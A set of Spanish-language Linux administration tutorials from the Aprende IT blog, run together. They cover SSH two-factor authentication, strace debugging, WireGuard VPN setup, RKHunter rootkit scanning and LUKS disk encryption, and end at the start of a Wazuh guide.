Paso 1: Instalar Google Authenticator

Lo primero que necesitas es instalar Google Authenticator en tu servidor. Este programa se integra fácilmente con PAM (Pluggable Authentication Modules) para añadir 2FA a la autenticación SSH.

Abre una terminal y actualiza los paquetes con:

sudo apt update

Luego, instala el paquete necesario:

sudo apt install libpam-google-authenticator

Ahora, es momento de configurar Google Authenticator para el usuario que va a conectarse mediante SSH. Si eres tú, simplemente ejecuta:

google-authenticator

Cuando ejecutes este comando, el sistema te mostrará un código QR en la pantalla. Abre la app de Google Authenticator (o cualquier otra app compatible con TOTP, como Authy o FreeOTP) y escanea el código. Así se vincularán la app y tu servidor. La aplicación generará códigos de seis dígitos que cambiarán cada cierto tiempo y que necesitarás para iniciar sesión.

Durante el proceso de configuración, el programa te hará una serie de preguntas (como si quieres permitir tokens de emergencia o establecer límites de tiempo). Te recomiendo que leas cada opción y elijas la configuración que mejor te convenga.

Paso 2: Configurar PAM para Google Authenticator

Ahora que tienes la app configurada, hay que decirle al sistema que utilice Google Authenticator como parte del proceso de autenticación.

Para ello, edita el archivo de configuración PAM de SSH:

sudo nano /etc/pam.d/sshd

Una vez dentro del archivo, añade esta línea al inicio:

auth required pam_google_authenticator.so

Guarda los cambios (con Ctrl + O y Enter, y luego Ctrl + X para salir del editor).

Paso 3: Configurar OpenSSH para soportar 2FA
El siguiente paso es modificar la configuración del servicio SSH para que soporte el 2FA. Para ello, edita el archivo de configuración de OpenSSH:

sudo nano /etc/ssh/sshd_config

Dentro del archivo, asegúrate de que estas líneas estén configuradas correctamente:

UsePAM yes
ChallengeResponseAuthentication yes

También debes definir el método de autenticación. Vamos a exigir que se use la clave pública junto con el código TOTP, así que añade o modifica esta línea:

AuthenticationMethods publickey,keyboard-interactive

Con esta configuración, SSH pedirá primero la autenticación por clave pública y después el código de Google Authenticator.

Paso 4: Reinicia el servicio SSH

Para aplicar todos los cambios, es necesario reiniciar el servicio SSH:

sudo systemctl restart sshd

Probando la autenticación en dos pasos

Ahora que todo está configurado, es momento de probar si funciona. Cierra la sesión actual y vuelve a conectarte al servidor mediante SSH. Si todo ha ido bien, el sistema te pedirá:

• Tu clave o password para conectar por SSH.
• El código de seis dígitos generado por Google Authenticator.

Si introduces ambos correctamente, tendrás acceso al servidor. ¡Así de fácil!

Consejos adicionales

Copia de seguridad del código QR: Cuando configures Google Authenticator, guarda una copia del código QR o las claves de emergencia. Si pierdes tu teléfono, te será muy útil.
Limita los intentos fallidos: Para mayor seguridad, puedes configurar fail2ban para bloquear direcciones IP después de varios intentos fallidos.
Deshabilita la autenticación por contraseña: Si solo permites la autenticación por clave pública y 2FA, tu servidor será mucho más seguro.

La entrada Cómo proteger tu servidor SSH con Google Authenticator y 2FA se publicó primero en Aprende IT.

1. Instalación de strace

La mayoría de las distribuciones de Linux vienen con strace preinstalado. Si no lo tienes, puedes instalarlo con:

# En Debian/Ubuntu
sudo apt-get install strace
​
# En CentOS/RHEL
sudo yum install strace

2. Ejecutar un programa con strace

Para iniciar un programa y rastrear sus llamadas al sistema, simplemente usa:

strace nombre_programa [argumentos]

Por ejemplo, para rastrear ls:

strace ls

Esto mostrará todas las llamadas al sistema que ls realiza desde que inicia hasta que termina.

3. Adjuntar strace a un proceso en ejecución

Si deseas rastrear un programa que ya está ejecutándose, puedes adjuntar strace a su proceso con el PID:

strace -p PID

Para encontrar el PID, puedes usar el comando ps o pgrep:

ps aux | grep nombre_programa
pgrep nombre_programa

4. Filtrar tipos específicos de llamadas al sistema

strace genera mucha salida, por lo que puede ser útil filtrar solo las llamadas que te interesan. Para ello, puedes especificar tipos de llamadas con el parámetro -e:

• Archivo: Para ver solo las llamadas relacionadas con archivos.

  strace -e trace=open,close,read,write nombre_programa

• Red: Para ver solo las llamadas relacionadas con la red.

  strace -e trace=network nombre_programa

• Errores: Para ver solo las llamadas que resultan en errores.

  strace -e trace=error nombre_programa

5. Identificar y localizar problemas comunes

a. Problemas de permisos

Si una llamada al sistema falla debido a permisos, verás un error EACCES. Esto puede significar que el usuario que ejecuta el programa no tiene acceso a algún archivo o directorio. Busca líneas como estas:

open("/ruta/al/archivo", O_RDONLY) = -1 EACCES (Permission denied)

b. Archivos no encontrados

Si un programa intenta abrir un archivo inexistente, verás un error ENOENT:

open("/ruta/al/archivo", O_RDONLY) = -1 ENOENT (No such file or directory)

Este tipo de error suele indicar rutas de archivo incorrectas o archivos faltantes.

c. Problemas de red

Para rastrear problemas de red, puedes filtrar por llamadas como connect, sendto, recvfrom, etc. Si ves un error ECONNREFUSED, podría indicar que el servidor al que intentas conectarte no está disponible o se está rechazando la conexión.

connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("192.168.1.1")}, 16) = -1 ECONNREFUSED (Connection refused)

d. Fallos de memoria

Errores como ENOMEM pueden indicar que el sistema se está quedando sin memoria para ejecutar el programa.

mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = -1 ENOMEM (Cannot allocate memory)

e. Errores de llamadas al sistema específicas

A veces, verás errores en llamadas específicas como fork o execve. Esto puede deberse a que el programa esté intentando ejecutar otro proceso que no encuentra o no tiene permisos. Para problemas con execve, revisa la existencia y los permisos de ejecución de los binarios.

execve("/bin/ls", ["ls"], [/* 23 vars */]) = -1 ENOENT (No such file or directory)

6. Registrar salida a un archivo

Si necesitas analizar la salida de strace después de la ejecución, redirígela a un archivo con -o:

strace -o salida_strace.log nombre_programa

Luego puedes analizar el archivo con herramientas como grep para buscar errores específicos.

7. Analizar el tiempo de cada llamada

Usa -T para mostrar el tiempo que cada llamada al sistema tarda en completarse, útil para detectar cuellos de botella:

strace -T nombre_programa

8. Resumen de estadísticas

Para obtener un resumen de estadísticas al final de la ejecución, usa -c. Esto muestra cuántas veces se llamó cada función, cuántos errores ocurrieron y el tiempo total.

strace -c nombre_programa

Ejemplo práctico: Diagnosticar problemas de un programa

Supongamos que tienes un programa llamado mi_programa que está experimentando problemas de rendimiento y fallos ocasionales. Podrías:

1. Ejecutar con strace:

   strace -o salida.log mi_programa

2. Revisar el archivo de salida en busca de errores comunes (ENOENT, EACCES, etc.) usando grep:

   grep "ENOENT" salida.log

3. Analizar las llamadas al sistema más lentas para detectar cuellos de botella:

   strace -T -o salida_tiempos.log mi_programa

4. Revisar las estadísticas de llamadas al sistema para ver si alguna se ejecuta inusualmente a menudo o consume demasiado tiempo:

   strace -c mi_programa

Resumen final

strace es una herramienta poderosa que permite ver la interacción de un programa con el sistema operativo en un nivel profundo. Utilizando filtros y analizando cuidadosamente la salida, puedes identificar problemas de permisos, archivos inexistentes, problemas de red y cuellos de botella de rendimiento.

La entrada Guía Básica para Utilizar strace se publicó primero en Aprende IT.

1. Actualización del Servidor

Primero, asegúrate de que el servidor Ubuntu esté actualizado.

Ejecutar en el servidor:

sudo apt update && sudo apt upgrade -y

2. Instalación de WireGuard

Instala WireGuard en el servidor.

Ejecutar en el servidor:

sudo apt install wireguard -y

3. Generación de Llaves del Servidor

Genera las claves privadas y públicas del servidor.

Ejecutar en el servidor:

wg genkey | tee /etc/wireguard/server_private.key | wg pubkey > /etc/wireguard/server_public.key

4. Configuración del Servidor WireGuard

Crea el archivo de configuración de WireGuard para el servidor.

Ejecutar en el servidor:

vim /etc/wireguard/wg0.conf

Agrega el siguiente contenido al archivo wg0.conf:

[Interface]
Address = 10.0.0.1/24
ListenPort = 51820
PrivateKey = 

# Habilitar NAT e IP Forwarding
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -A FORWARD -o wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE; echo 1 > /proc/sys/net/ipv4/ip_forward
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -D FORWARD -o wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE; echo 0 > /proc/sys/net/ipv4/ip_forward

# Guardar configuración entre reinicios (opcional)
SaveConfig = true

Reemplaza con la clave privada del servidor generada previamente:

Ejecutar en el servidor:

sudo cat /etc/wireguard/server_private.key

5. Habilitación y Arranque de WireGuard

Activa y arranca el servicio WireGuard.

Ejecutar en el servidor:

sudo systemctl enable wg-quick@wg0
sudo systemctl start wg-quick@wg0

6. Verificación del Estado del Servidor WireGuard

Comprueba que WireGuard esté funcionando correctamente.

Ejecutar en el servidor:

sudo wg

Parte 2: Configuración de los Clientes WireGuard

1. Generación de Llaves del Cliente

Genera las claves privadas y públicas del cliente.

Ejecutar en el servidor:

wg genkey | tee /etc/wireguard/client1_private.key | wg pubkey > /etc/wireguard/client1_public.key

2. Añadir la Configuración del Cliente en el Servidor

Edita el archivo de configuración del servidor para añadir al cliente.

Ejecutar en el servidor:

sudo vim /etc/wireguard/wg0.conf

Agrega el siguiente bloque al final del archivo:

[Peer]
PublicKey = 
AllowedIPs = 10.0.0.2/32

Reemplaza con la clave pública del cliente que generaste:

Ejecutar en el servidor:

sudo cat /etc/wireguard/client1_public.key

3. Creación del Archivo de Configuración del Cliente

Crea el archivo de configuración del cliente.

Ejecutar en el servidor:

sudo nano /etc/wireguard/client1.conf

Agrega el siguiente contenido al archivo client1.conf:

[Interface]
PrivateKey = 
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = 
Endpoint = :51820
AllowedIPs = 0.0.0.0/0

Reemplaza con la clave privada del cliente:

Ejecutar en el servidor:

sudo cat /etc/wireguard/client1_private.key

Reemplaza con la clave pública del servidor:

Ejecutar en el servidor:

sudo cat /etc/wireguard/server_public.key

Reemplaza con la dirección IP pública del servidor.

4. Generación de un Código QR para el Cliente

WireGuard permite que los clientes móviles configuren fácilmente la VPN mediante un código QR.

Instala la herramienta qrencode en el servidor:

sudo apt install qrencode -y

Genera el código QR para la configuración del cliente:

Ejecutar en el servidor:

qrencode -t ansiutf8 < /etc/wireguard/client1.conf

Este comando generará un código QR en la terminal que el cliente puede escanear con su aplicación WireGuard en Android o iOS.

5. Instalación y Configuración de WireGuard en el Cliente

Instala WireGuard en el dispositivo cliente:

Linux:

Ejecutar en el cliente:

sudo apt update && sudo apt install wireguard resolvconf iptables -y

Windows/Mac:

Descarga e instala la aplicación WireGuard desde el sitio oficial: https://www.wireguard.com/install/

Android/iOS:

Descarga la aplicación WireGuard desde Google Play Store o Apple App Store.

Configura WireGuard en el cliente:

Para Linux/Windows/Mac:

Importa el archivo de configuración client1.conf en la aplicación WireGuard.

Para dispositivos que no pueden usar un código QR, transfiere el archivo de configuración client1.conf al dispositivo cliente.

Una opción puede ser ejecutar desde el servidor el siguiente SCP si el servidor tiene acceso por SSH al cliente:

scp /etc/wireguard/client1.conf usuario@ip_cliente:/ruta/de/destino/

El fichero debe quedar en la ruta «/etc/wireguard/wg0.conf», si has podido hacer el SCP ya lo has completado, si no puedes  hacerlo, crea el fichero directamente en esa ruta y copia el contenido.

Android/iOS:

Abre la aplicación WireGuard y escanea el código QR generado anteriormente.
Conecta el Cliente a la VPN:

En la aplicación WireGuard del cliente, activa la conexión.

6. Verificación de la Conexión

Una vez conectado, prueba la conexión:

Ejecutar en el cliente:

ping 10.0.0.1

Esto debería devolver respuestas del servidor, indicando que la conexión VPN está funcionando correctamente.

Parte 3: Mantenimiento y Gestión

1. Añadir Más Clientes

Para añadir más clientes, simplemente repite los pasos de la Parte 2 para generar nuevas llaves, configurar nuevos pares en el servidor, y crear archivos de configuración para cada cliente.

2. Reiniciar el Servicio WireGuard

Si realizas cambios en la configuración del servidor, asegúrate de reiniciar el servicio:

Ejecutar en el servidor:

sudo systemctl restart wg-quick@wg0

3. Monitoreo del Estado de la VPN

Puedes verificar el estado de los pares conectados y sus estadísticas:

Ejecutar en el servidor:

sudo wg show

Vídeo

Esto te proporcionará información sobre los clientes conectados y el tráfico que están generando.

Siguiendo esta guía paso a paso, deberías poder configurar un servidor WireGuard en Ubuntu y conectar clientes de manera sencilla, incluyendo la opción de usar un código QR para la configuración en dispositivos móviles.

La entrada Cómo crear un servicio VPN con Wireguard se publicó primero en Aprende IT.

Instalación de RKHunter

Paso 1: Actualizar los Repositorios

Antes de instalar cualquier paquete nuevo, siempre es una buena práctica asegurarse de que los repositorios del sistema estén actualizados. Esto se puede hacer con el comando apt update.

apt update

Paso 2: Instalar RKHunter

Una vez que los repositorios estén actualizados, podemos proceder a instalar RKHunter junto con las herramientas básicas del sistema (coreutils).

apt install coreutils rkhunter -y

Paso 3: Descargar los Repositorios de la Base de Datos de RKHunter

Para que RKHunter funcione correctamente, necesitamos descargar los datos necesarios. Esto se puede hacer con el comando curl.

curl https://rkhunter.sourceforge.net/1.4/mirrors.dat > /var/lib/rkhunter/db/mirrors.dat

Configuración de RKHunter

Problema Común: No se Puede Actualizar

Si intentamos actualizar RKHunter inmediatamente después de la instalación, es probable que encontremos un error similar al siguiente:

root@host# rkhunter --update
[ Rootkit Hunter version 1.4.6 ]

Checking rkhunter data files...
  Checking file mirrors.dat                                  [ Skipped ]
  Checking file programs_bad.dat                             [ Update failed ]
  Checking file backdoorports.dat                            [ Update failed ]
  Checking file suspscan.dat                                 [ Update failed ]
  Checking file i18n versions                                [ Update failed ]

Please check the log file (/var/log/rkhunter.log)

Solución: Editar el Archivo de Configuración

Para solucionar este problema, necesitamos editar el archivo de configuración de RKHunter (/etc/rkhunter.conf). Usaremos vi o cualquier otro editor de texto que prefiramos.

vi /etc/rkhunter.conf

Dentro del archivo, modificamos los siguientes parámetros:

PKGMGR=DPKG
WEB_CMD=wget
UPDATE_MIRRORS=1
MIRRORS_MODE=0

Actualización de RKHunter

Después de realizar estos cambios, podemos intentar actualizar RKHunter nuevamente.

rkhunter --update

Si todo ha ido bien, deberíamos ver un mensaje indicando que los archivos se han actualizado correctamente.

Verificación de la Versión

Podemos verificar que estamos utilizando la versión más reciente de RKHunter con el siguiente comando:

rkhunter --versioncheck

Realizar un Escaneo del Sistema

Una vez que RKHunter esté configurado y actualizado, podemos proceder a realizar un escaneo completo del sistema.

rkhunter --check

Ejemplo de Salida de un Escaneo
Durante el escaneo, RKHunter verificará varios aspectos del sistema, incluyendo comandos del sistema, bibliotecas compartidas, y archivos sospechosos. Aquí hay un ejemplo de lo que podríamos ver:

[ Rootkit Hunter version 1.4.6 ]

Checking system commands...

  Performing 'strings' command checks
    Checking 'strings' command                               [ OK ]

  Performing 'shared libraries' checks
    Checking for preloading variables                        [ None found ]
    Checking for preloaded libraries                         [ None found ]
    Checking LD_LIBRARY_PATH variable                        [ Not found ]

  Performing file properties checks
    Checking for prerequisites                               [ OK ]
    /usr/sbin/adduser                                        [ OK ]
    /usr/sbin/chroot                                         [ OK ]
    /usr/sbin/cron                                           [ OK ]
    /usr/sbin/depmod                                         [ OK ]
    /usr/sbin/fsck                                           [ OK ]
    /usr/sbin/groupadd                                       [ OK ]
    /usr/sbin/groupdel                                       [ OK ]
    /usr/sbin/groupmod                                       [ OK ]
    /usr/sbin/grpck                                          [ OK ]
    /usr/sbin/ifconfig                                       [ OK ]
    /usr/sbin/init                                           [ OK ]
    /usr/sbin/insmod                                         [ OK ]
    /usr/sbin/ip                                             [ OK ]
    /usr/sbin/lsmod                                          [ OK ]
    /usr/sbin/modinfo                                        [ OK ]
    /usr/sbin/modprobe                                       [ OK ]
    /usr/sbin/nologin                                        [ OK ]
    /usr/sbin/pwck                                           [ OK ]
    /usr/sbin/rmmod                                          [ OK ]
    /usr/sbin/route                                          [ OK ]
    /usr/sbin/rsyslogd                                       [ OK ]
    /usr/sbin/runlevel                                       [ OK ]
    /usr/sbin/sshd                                           [ OK ]
    /usr/sbin/sulogin                                        [ OK ]
    /usr/sbin/sysctl                                         [ OK ]
    /usr/sbin/useradd                                        [ OK ]
    /usr/sbin/userdel                                        [ OK ]
    /usr/sbin/usermod                                        [ OK ]
    /usr/sbin/vipw                                           [ OK ]
    /usr/sbin/unhide                                         [ OK ]
    /usr/sbin/unhide-linux                                   [ OK ]
    /usr/sbin/unhide-posix                                   [ OK ]
    /usr/sbin/unhide-tcp                                     [ OK ]
    /usr/bin/awk                                             [ OK ]
    /usr/bin/basename                                        [ OK ]
    /usr/bin/bash                                            [ OK ]
    /usr/bin/cat                                             [ OK ]
    /usr/bin/chattr                                          [ OK ]
    /usr/bin/chmod                                           [ OK ]
    /usr/bin/chown                                           [ OK ]
    /usr/bin/cp                                              [ OK ]
    /usr/bin/curl                                            [ OK ]
    /usr/bin/cut                                             [ OK ]
    /usr/bin/date                                            [ OK ]
    /usr/bin/df                                              [ OK ]
    /usr/bin/diff                                            [ OK ]
    /usr/bin/dirname                                         [ OK ]
    /usr/bin/dmesg                                           [ OK ]
    /usr/bin/dpkg                                            [ OK ]
    /usr/bin/dpkg-query                                      [ OK ]
    /usr/bin/du                                              [ OK ]
    /usr/bin/echo                                            [ OK ]
    /usr/bin/ed                                              [ OK ]
    /usr/bin/egrep                                           [ OK ]
    /usr/bin/env                                             [ OK ]
    /usr/bin/fgrep                                           [ OK ]
    /usr/bin/file                                            [ OK ]
    /usr/bin/find                                            [ OK ]
    /usr/bin/fuser                                           [ OK ]
    /usr/bin/grep                                            [ OK ]
    /usr/bin/groups                                          [ OK ]
    /usr/bin/head                                            [ OK ]
    /usr/bin/id                                              [ OK ]
    /usr/bin/ip                                              [ OK ]
    /usr/bin/ipcs                                            [ OK ]
    /usr/bin/kill                                            [ OK ]
    /usr/bin/killall                                         [ OK ]
    /usr/bin/last                                            [ OK ]
    /usr/bin/lastlog                                         [ OK ]
    /usr/bin/ldd                                             [ OK ]
    /usr/bin/less                                            [ OK ]
    /usr/bin/logger                                          [ OK ]
    /usr/bin/login                                           [ OK ]
    /usr/bin/ls                                              [ OK ]
    /usr/bin/lsattr                                          [ OK ]
    /usr/bin/lsmod                                           [ OK ]
    /usr/bin/lsof                                            [ OK ]
    /usr/bin/mail                                            [ OK ]
    /usr/bin/md5sum                                          [ OK ]
    /usr/bin/mktemp                                          [ OK ]
    /usr/bin/more                                            [ OK ]
    /usr/bin/mount                                           [ OK ]
    /usr/bin/mv                                              [ OK ]
    /usr/bin/netstat                                         [ OK ]
    /usr/bin/newgrp                                          [ OK ]
    /usr/bin/passwd                                          [ OK ]
    /usr/bin/perl                                            [ OK ]
    /usr/bin/pgrep                                           [ OK ]
    /usr/bin/ping                                            [ OK ]
    /usr/bin/pkill                                           [ OK ]
    /usr/bin/ps                                              [ OK ]
    /usr/bin/pstree                                          [ OK ]
    /usr/bin/pwd                                             [ OK ]
    /usr/bin/readlink                                        [ OK ]
    /usr/bin/rkhunter                                        [ OK ]
    /usr/bin/runcon                                          [ OK ]
    /usr/bin/sed                                             [ OK ]
    /usr/bin/sh                                              [ OK ]
    /usr/bin/sha1sum                                         [ OK ]
    /usr/bin/sha224sum                                       [ OK ]
    /usr/bin/sha256sum                                       [ OK ]
    /usr/bin/sha384sum                                       [ OK ]
    /usr/bin/sha512sum                                       [ OK ]
    /usr/bin/size                                            [ OK ]
    /usr/bin/sort                                            [ OK ]
    /usr/bin/ssh                                             [ OK ]
    /usr/bin/stat                                            [ OK ]
    /usr/bin/strace                                          [ OK ]
    /usr/bin/strings                                         [ OK ]
    /usr/bin/su                                              [ OK ]
    /usr/bin/sudo                                            [ OK ]
    /usr/bin/tail                                            [ OK ]
    /usr/bin/telnet                                          [ OK ]
    /usr/bin/test                                            [ OK ]
    /usr/bin/top                                             [ OK ]
    /usr/bin/touch                                           [ OK ]
    /usr/bin/tr                                              [ OK ]
    /usr/bin/uname                                           [ OK ]
    /usr/bin/uniq                                            [ OK ]
    /usr/bin/users                                           [ OK ]
    /usr/bin/vmstat                                          [ OK ]
    /usr/bin/w                                               [ OK ]
    /usr/bin/watch                                           [ OK ]
    /usr/bin/wc                                              [ OK ]
    /usr/bin/wget                                            [ OK ]
    /usr/bin/whatis                                          [ OK ]
    /usr/bin/whereis                                         [ OK ]
    /usr/bin/which                                           [ OK ]
    /usr/bin/who                                             [ OK ]
    /usr/bin/whoami                                          [ OK ]
    /usr/bin/numfmt                                          [ OK ]
    /usr/bin/kmod                                            [ OK ]
    /usr/bin/systemd                                         [ OK ]
    /usr/bin/systemctl                                       [ OK ]
    /usr/bin/gawk                                            [ OK ]
    /usr/bin/bsd-mailx                                       [ OK ]
    /usr/bin/dash                                            [ OK ]
    /usr/bin/x86_64-linux-gnu-size                           [ OK ]
    /usr/bin/x86_64-linux-gnu-strings                        [ OK ]
    /usr/bin/telnet.netkit                                   [ OK ]
    /usr/bin/which.debianutils                               [ OK ]
    /usr/lib/systemd/systemd                                 [ OK ]

[Press  to continue]

...

[Press  to continue]

System checks summary
=====================

File properties checks...
    Files checked: 142
    Suspect files: 0

Rootkit checks...
    Rootkits checked : 498
    Possible rootkits: 0

Applications checks...
    All checks skipped

The system checks took: 4 minutes and 25 seconds

All results have been written to the log file: /var/log/rkhunter.log

One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)

Automatización de Escaneos con Cron

Para asegurarnos de que nuestro sistema se mantenga seguro, es una buena idea programar escaneos automáticos. Podemos hacer esto editando el archivo /etc/crontab para añadir los trabajos cron necesarios. No olvidemos modificar el correo de destino para recibir las alertas.

vi /etc/crontab

Añadimos las siguientes líneas al archivo:

0 3 * * * root /usr/bin/rkhunter --update >> /var/log/rkhunter_update.log 2>&1
0 2 * * * root /usr/bin/rkhunter --cronjob --update --report-warnings-only | mail -s "RKHunter Daily Scan" tu-email@example.com

Con esto, hemos configurado un trabajo cron que actualizará RKHunter diariamente a las 3 AM y realizará un escaneo diario a las 2 AM, enviando un informe por correo electrónico solo si se encuentran advertencias.

La entrada Como Proteger tu Sistema Linux: Guía Definitiva para Instalar y Usar RKHunter se publicó primero en Aprende IT.

Instalación de Herramientas Necesarias

Antes de sumergirnos en el mundo del cifrado con LUKS, es esencial asegurarse de tener las herramientas adecuadas instaladas en tu sistema. Por lo general, la mayoría de las distribuciones de Linux incluyen estas herramientas de cifrado de manera predeterminada, pero siempre es bueno verificarlo.

Puedes instalar las herramientas necesarias utilizando el gestor de paquetes de tu distribución. En distribuciones basadas en Debian, como Ubuntu, puedes ejecutar el siguiente comando en la terminal:

sudo apt install cryptsetup

Si estás utilizando una distribución basada en Red Hat, como Fedora o CentOS, puedes instalar las herramientas de cifrado con el siguiente comando:

sudo dnf install cryptsetup

Una vez que hayas instalado cryptsetup, estarás listo para comenzar a trabajar con LUKS.

Creación de un Volumen LUKS

El primer paso para cifrar una partición o disco en Linux es crear un volumen LUKS. Este volumen actuará como una capa de cifrado que protegerá los datos almacenados en la partición o disco.

Para crear un volumen LUKS, necesitarás especificar la partición o disco que deseas cifrar. Asegúrate de que la partición esté desmontada antes de proceder. Supongamos que queremos cifrar la partición /dev/sdb1. El siguiente comando creará un volumen LUKS en esta partición:

sudo cryptsetup luksFormat /dev/sdb1

Este comando iniciará el proceso de creación del volumen LUKS en la partición especificada. Serás solicitado a confirmar esta acción, ya que el proceso borrará todos los datos existentes en la partición. Después de confirmar, se te pedirá que ingreses una contraseña para desbloquear el volumen LUKS en el futuro. Asegúrate de elegir una contraseña segura y recuérdala bien, ya que la necesitarás cada vez que quieras acceder a los datos cifrados.

Una vez completado el proceso, tendrás un volumen LUKS creado en la partición especificada, listo para ser utilizado.

Apertura y Cierre del Volumen LUKS

Después de crear un volumen LUKS, el siguiente paso es abrirlo para poder acceder a los datos almacenados en él. Para abrir un volumen LUKS, necesitarás especificar la partición que contiene el volumen y asignarle un nombre.

sudo cryptsetup luksOpen /dev/sdb1 mi_particion_cifrada

En este comando, /dev/sdb1 es la partición que contiene el volumen LUKS, y mi_particion_cifrada es el nombre que le estamos asignando al volumen abierto. Una vez que ejecutas este comando, se te pedirá que ingreses la contraseña que especificaste durante la creación del volumen LUKS. Después de ingresar la contraseña correcta, el volumen se abrirá y estará listo para ser utilizado.

Para cerrar el volumen LUKS y bloquear el acceso a los datos cifrados, puedes utilizar el siguiente comando:

sudo cryptsetup luksClose mi_particion_cifrada

Este comando cerrará el volumen LUKS con el nombre especificado (mi_particion_cifrada en este caso), lo que impedirá el acceso a los datos almacenados en él hasta que vuelva a abrirse.

Creación de un Sistema de Archivos en un Volumen LUKS

Una vez que hayas abierto un volumen LUKS, puedes crear un sistema de archivos en él para comenzar a almacenar datos de forma segura. Puedes utilizar cualquier sistema de archivos compatible con Linux, como xfs, xfs o btrfs.

Supongamos que queremos crear un sistema de archivos xfs en el volumen LUKS abierto (mi_particion_cifrada). El siguiente comando creará un sistema de archivos xfs en el volumen:

sudo mkfs.xfs /dev/mapper/mi_particion_cifrada

Este comando formateará el volumen LUKS abierto con un sistema de archivos xfs, lo que te permitirá empezar a almacenar datos en él de manera segura.

Montaje y Desmontaje de un Volumen LUKS

Una vez que hayas creado un sistema de archivos en un volumen LUKS, puedes montarlo en el sistema de archivos para acceder a los datos almacenados en él. Para montar un volumen LUKS, puedes utilizar el siguiente comando:

sudo mount /dev/mapper/mi_particion_cifrada /mnt

En este comando, /dev/mapper/mi_particion_cifrada es la ruta al dispositivo de bloque que representa el volumen LUKS abierto, y /mnt es el punto de montaje donde se montará el sistema de archivos.

Después de montar el volumen LUKS, puedes acceder a los datos almacenados en él como lo harías con cualquier otro sistema de archivos montado en Linux. Cuando hayas terminado de trabajar con los datos, puedes desmontar el volumen LUKS utilizando el siguiente comando:

sudo umount /mnt

Este comando desmontará el sistema de archivos del volumen LUKS, lo que evitará que accedas a los datos almacenados en él hasta que vuelva a montarse.

Administración de Volumenes LUKS

LUKS proporciona varias herramientas para administrar volumenes, incluida la capacidad de cambiar la contraseña, agregar claves adicionales y realizar copias de seguridad de las cabeceras de los volumenes.

Para cambiar la contraseña de un volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksChangeKey /dev/sdb1

Este comando te pedirá la contraseña actual del volumen LUKS y luego te permitirá ingresar una nueva contraseña.

Si deseas agregar una clave adicional al volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksAddKey /dev/sdb1

Este comando te pedirá la contraseña actual del volumen LUKS y luego te permitirá ingresar una nueva clave adicional.

Para realizar una copia de seguridad de la cabecera de un volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file backup_file

Este comando realizará una copia de seguridad de la cabecera del volumen LUKS en el archivo especificado, lo que te permitirá restaurarla en caso de que se dañe la cabecera del volumen.

Resumen de comandos para crear volumen cifrado con luks

sudo cryptsetup luksFormat /dev/DISCO
sudo cryptsetup luksOpen /dev/DISCO DISCO_DESCIFRADO
sudo mkfs.xfs /dev/mapper/DISCO_DESCIFRADO
sudo mount /dev/mapper/DISCO_DESCIFRADO /ruta_de_montaje

Integración con crypttab y fstab

Una vez que has cifrado una partición o disco utilizando LUKS en Linux, es posible que desees configurar la apertura automática del contenedor LUKS durante el arranque del sistema y montarlo en un punto específico del sistema de archivos. Esto se puede lograr utilizando los archivos de configuración crypttab y fstab.

Configuración de crypttab

El archivo crypttab se utiliza para configurar el mapeo automático de dispositivos cifrados durante el proceso de arranque del sistema. Puedes especificar los dispositivos cifrados y sus correspondientes claves de cifrado en este archivo.

Para configurar un dispositivo cifrado en crypttab, primero necesitas conocer el UUID (Identificador Único Universal) del contenedor LUKS. Puedes encontrar el UUID ejecutando el siguiente comando:

sudo cryptsetup luksUUID /dev/sdb1

Una vez que tengas el UUID del contenedor LUKS, puedes agregar una entrada en el archivo crypttab para configurar el mapeo automático. Por ejemplo, supongamos que el UUID del contenedor LUKS es 12345678-1234-1234-1234-123456789abc. Puedes agregar la siguiente entrada en el archivo crypttab:

mi_particion_cifrada UUID=12345678-1234-1234-1234-123456789abc none luks

También puede hacerse así en este caso sin usar el UUID:

mi_particion_cifrada /dev/sdb1 none luks

En esta entrada, mi_particion_cifrada es el nombre que le hemos dado al contenedor LUKS, y UUID=12345678-1234-1234-1234-123456789abc es el UUID del contenedor. La palabra none indica que no se utiliza una clave precompartida y luks especifica que el dispositivo está cifrado con LUKS.

Configuración de fstab

Una vez que has configurado el mapeo automático del dispositivo cifrado en crypttab, puedes configurar el montaje automático del sistema de archivos en fstab. El archivo fstab se utiliza para configurar el montaje automático de sistemas de archivos durante el arranque del sistema.

Para configurar el montaje automático de un sistema de archivos en fstab, primero necesitas conocer el punto de montaje y el tipo de sistema de archivos del contenedor LUKS. Supongamos que el punto de montaje es /mnt/mi_particion y el sistema de archivos es xfs. Puedes agregar una entrada en el archivo fstab de la siguiente manera:

/dev/mapper/mi_particion_cifrada /mnt/mi_particion xfs defaults 0 2

En esta entrada, /dev/mapper/mi_particion_cifrada es la ruta al dispositivo de bloque que representa el contenedor LUKS abierto, /mnt/mi_particion es el punto de montaje donde se montará el sistema de archivos, xfs es el tipo de sistema de archivos, defaults especifica las opciones de montaje por defecto, y 0 2 especifica las opciones de comprobación del sistema de archivos.

Recomendaciones con crypptab

En el caso de un servidor yo no tendría activo el crypttab, es decir, dejaria la configuración puesta pero comentada, al igual que con el fstab, Haría los montajes de forma manual tras un reinicio. Así evitamos tener que usar ficheros de clave y tener algunos problemas derivados

La entrada Cifrado de Particiones y Discos con LUKS en Linux se publicó primero en Aprende IT.

¿Qué es Wazuh y por qué deberías usarlo?

Wazuh es una plataforma de seguridad de código abierto que proporciona detección de intrusiones, monitorización de integridad, respuesta a incidentes y auditoría de cumplimiento. Su versatilidad lo hace ideal tanto para pequeñas empresas como para grandes corporaciones. Además, al ser de código abierto, Wazuh es completamente gratuito y permite modificaciones para adaptarse a cualquier necesidad específica.

Preparativos iniciales antes de la instalación

Antes de lanzarte a la instalación de Wazuh, es crucial que prepares tu sistema. Esto implica asegurarse de que el sistema operativo esté actualizado y configurar el entorno para que soporte la instalación de Wazuh mediante Docker. Aquí te explicamos cómo:

